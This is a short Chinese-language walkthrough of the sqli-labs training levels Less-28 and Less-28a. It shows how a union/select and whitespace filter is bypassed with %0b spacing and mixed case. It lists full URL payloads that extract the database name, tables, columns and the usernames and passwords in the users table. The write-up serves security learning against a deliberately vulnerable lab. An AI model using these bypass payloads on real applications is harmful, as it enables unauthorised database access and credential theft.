Less-28
基于错误的,单引号字符型,过滤了union和select等的注入
判断注入类型
1
和1"
正常回显,1'
报错,单引号字符型。
2'%26%26'1'='1
回显为id=1
,有小括号。
参看源码:
发现没有过滤
or
与and
。
过滤了相连的union
和select
,/i
同时匹配大小写,\s
匹配任意空白字符如制表符、换行符、空格等,使用%a0等空格的URL编码
可以绕过。
过滤了--
、#
以及/**/
。
过滤了两次空格
。
过滤了/
但没过滤\
。
这一关和Less-27a十分相似,可以利用联合注入,布尔盲注,延时注入。
这里演示联合注入:
爆库:
?id=0')%0buniOn%0bsElEct%0b1,database(),3%0bor%0b('1')=('1
爆表:
?id=0')%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b('1')=('1
暴字段:
?id=0')%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b('1')=('1
爆数据:
?id=0')%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0bwhere%0b('1')=('1
================= 分隔符 ==============
Less-28a
基于盲注的,带括号的单引号字符型,过滤了union和select等的注入
本关与 28 基本一致,只是过滤条件少了几个。
参考源码:
这一关应该设置成带括号的双引号字符型比较好。
联合注入和28关一模一样具体操作自行尝试。
推荐两篇绕过文章:
深入理解SQL注入绕过WAF和过滤机制
SQL注入绕过union+select过滤